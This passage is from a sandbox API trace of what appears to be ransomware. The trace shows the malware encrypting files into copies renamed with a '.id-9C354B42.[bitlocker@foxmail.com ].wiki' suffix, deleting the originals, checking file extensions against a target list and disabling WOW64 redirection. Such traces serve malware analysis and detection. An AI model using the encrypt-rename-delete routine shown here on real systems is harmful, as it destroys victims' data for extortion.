playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.747] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.747] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0181.748] GetLastError () returned 0x0 [0181.748] ReadFile (in: hFile=0x160, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x3fc, lpOverlapped=0x0) returned 1 [0181.749] WriteFile (in: hFile=0x198, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x400, lpOverlapped=0x0) returned 1 [0181.750] ReadFile (in: hFile=0x160, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0181.750] WriteFile (in: hFile=0x198, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x118, lpOverlapped=0x0) returned 1 [0181.750] SetEndOfFile (hFile=0x198) returned 1 [0181.750] CloseHandle (hObject=0x198) returned 1 [0181.750] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0181.750] SetEndOfFile (hFile=0x160) returned 1 [0181.751] CloseHandle (hObject=0x160) returned 1 [0181.751] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.751] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl")) returned 1 [0181.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.752] lstrlenW (lpString=".doc") returned 4 [0181.752] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString=".docx") returned 5 [0181.752] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0181.752] lstrlenW (lpString=".pdf") returned 4 [0181.752] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString=".xls") returned 4 [0181.752] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.752] lstrlenW (lpString=".xlsx") returned 5 [0181.752] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0181.752] lstrlenW (lpString=".ppt") returned 4 [0181.752] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.752] lstrlenW (lpString=".zip") returned 4 [0181.752] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.752] lstrlenW (lpString=".rar") returned 4 [0181.752] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString=".bz2") returned 4 [0181.752] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString=".7z") returned 3 [0181.752] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.752] lstrlenW (lpString=".dbf") returned 4 [0181.752] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.752] lstrlenW (lpString=".1cd") returned 4 [0181.752] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.752] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.752] lstrlenW (lpString=".jpg") returned 4 [0181.753] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.753] lstrlenW (lpString=".doc") returned 4 [0181.753] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString=".docx") returned 5 [0181.753] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0181.753] lstrlenW (lpString=".pdf") returned 4 [0181.753] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString=".xls") returned 4 [0181.753] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0181.753] lstrlenW (lpString=".xlsx") returned 5 [0181.753] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0181.753] lstrlenW (lpString=".ppt") returned 4 [0181.753] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.753] lstrlenW (lpString=".zip") returned 4 [0181.753] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0181.753] lstrlenW (lpString=".rar") returned 4 [0181.753] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString=".bz2") returned 4 [0181.753] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString=".7z") returned 3 [0181.753] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0181.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.753] lstrlenW (lpString=".dbf") returned 4 [0181.753] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.753] lstrlenW (lpString=".1cd") returned 4 [0181.753] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0181.753] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0181.753] lstrlenW (lpString=".jpg") returned 4 [0181.753] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0181.754] lstrlenW (lpString=".id-") returned 4 [0181.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681678 | out: hHeap=0x630000) returned 1 [0181.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae1d8 | out: hHeap=0x630000) returned 1 [0181.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b30480 | out: hHeap=0x630000) returned 1 [0181.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b40488 | out: hHeap=0x630000) returned 1 [0181.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3e20020 | out: hHeap=0x630000) returned 1 [0181.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681660 | out: hHeap=0x630000) returned 1 [0181.761] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681660 [0181.761] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681660, Size=0x20) returned 0x69e5f8 [0181.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681660 [0181.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681660, Size=0x20) returned 0x69e710 [0181.762] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.975] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.975] Wow64DisableWow64FsRedirection (in: OldValue=0x329ff58 | out: OldValue=0x329ff58*=0x1) returned 1 [0181.975] lstrlenW (lpString="kernel32.dll") returned 12 [0181.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e710 | out: hHeap=0x630000) returned 1 [0181.975] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.975] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e5f8 | out: hHeap=0x630000) returned 1 Thread: id = 341 os_tid = 0x494 [0147.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b50490 [0147.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b60498 [0147.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681690 [0147.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae1e8 [0147.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816a8 [0147.790] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3f30020 [0147.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816c0 [0147.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816c0, Size=0x20) returned 0x69e670 [0147.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816c0 [0147.791] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816c0, Size=0x20) returned 0x69e6c0 [0147.791] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.791] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.791] Wow64DisableWow64FsRedirection (in: OldValue=0x33dff58 | out: OldValue=0x33dff58*=0x0) returned 1 [0147.791] lstrlenW (lpString="kernel32.dll") returned 12 [0147.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.791] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.791] Sleep (dwMilliseconds=0x64) [0147.971] Sleep (dwMilliseconds=0x64) [0148.155] lstrcmpiW (lpString1=".avi", lpString2=".wiki") returned -1 [0148.155] lstrlenW (lpString="boxed-delete.avi") returned 16 [0148.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.818] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=31744) returned 1 [0148.818] CloseHandle (hObject=0x1d4) returned 1 [0148.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0148.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.819] lstrlenW (lpString=".doc") returned 4 [0148.819] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString=".docx") returned 5 [0148.819] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0148.819] lstrlenW (lpString=".pdf") returned 4 [0148.819] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString=".xls") returned 4 [0148.819] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString=".xlsx") returned 5 [0148.819] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0148.819] lstrlenW (lpString=".ppt") returned 4 [0148.819] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.819] lstrlenW (lpString=".zip") returned 4 [0148.819] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString=".rar") returned 4 [0148.819] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString=".bz2") returned 4 [0148.819] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.819] lstrlenW (lpString=".7z") returned 3 [0148.819] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString=".dbf") returned 4 [0148.820] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString=".1cd") returned 4 [0148.820] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString=".jpg") returned 4 [0148.820] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString=".doc") returned 4 [0148.820] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString=".docx") returned 5 [0148.820] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0148.820] lstrlenW (lpString=".pdf") returned 4 [0148.820] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString=".xls") returned 4 [0148.820] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString=".xlsx") returned 5 [0148.820] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0148.820] lstrlenW (lpString=".ppt") returned 4 [0148.820] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString=".zip") returned 4 [0148.820] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString=".rar") returned 4 [0148.820] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString=".bz2") returned 4 [0148.820] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0148.820] lstrlenW (lpString=".7z") returned 3 [0148.820] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0148.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.820] lstrlenW (lpString=".dbf") returned 4 [0148.821] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0148.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.821] lstrlenW (lpString=".1cd") returned 4 [0148.821] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0148.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0148.821] lstrlenW (lpString=".jpg") returned 4 [0148.821] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0148.821] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.821] lstrlenW (lpString="auxpad.xml") returned 10 [0148.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.821] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=212) returned 1 [0148.821] CloseHandle (hObject=0x1d4) returned 1 [0148.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0148.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.822] lstrlenW (lpString=".doc") returned 4 [0148.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString=".docx") returned 5 [0148.822] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0148.822] lstrlenW (lpString=".pdf") returned 4 [0148.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString=".xls") returned 4 [0148.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString=".xlsx") returned 5 [0148.822] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0148.822] lstrlenW (lpString=".ppt") returned 4 [0148.822] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.822] lstrlenW (lpString=".zip") returned 4 [0148.822] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.822] lstrlenW (lpString=".rar") returned 4 [0148.822] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString=".bz2") returned 4 [0148.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString=".7z") returned 3 [0148.822] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.822] lstrlenW (lpString=".dbf") returned 4 [0148.822] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.822] lstrlenW (lpString=".1cd") returned 4 [0148.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.823] lstrlenW (lpString=".jpg") returned 4 [0148.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.823] lstrlenW (lpString=".doc") returned 4 [0148.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString=".docx") returned 5 [0148.823] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0148.823] lstrlenW (lpString=".pdf") returned 4 [0148.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString=".xls") returned 4 [0148.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString=".xlsx") returned 5 [0148.823] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0148.823] lstrlenW (lpString=".ppt") returned 4 [0148.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.823] lstrlenW (lpString=".zip") returned 4 [0148.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.823] lstrlenW (lpString=".rar") returned 4 [0148.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString=".bz2") returned 4 [0148.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.823] lstrlenW (lpString=".7z") returned 3 [0148.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.824] lstrlenW (lpString=".dbf") returned 4 [0148.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.824] lstrlenW (lpString=".1cd") returned 4 [0148.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0148.824] lstrlenW (lpString=".jpg") returned 4 [0148.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.825] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0148.825] lstrlenW (lpString="ea.xml") returned 6 [0148.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0149.191] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=384) returned 1 [0149.192] CloseHandle (hObject=0x1e0) returned 1 [0149.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0149.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0149.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.192] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0149.192] lstrlenW (lpString=".doc") returned 4 [0149.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.192] lstrlenW (lpString=".docx") returned 5 [0149.192] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0149.192] lstrlenW (lpString=".pdf") returned 4 [0149.192] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.192] lstrlenW 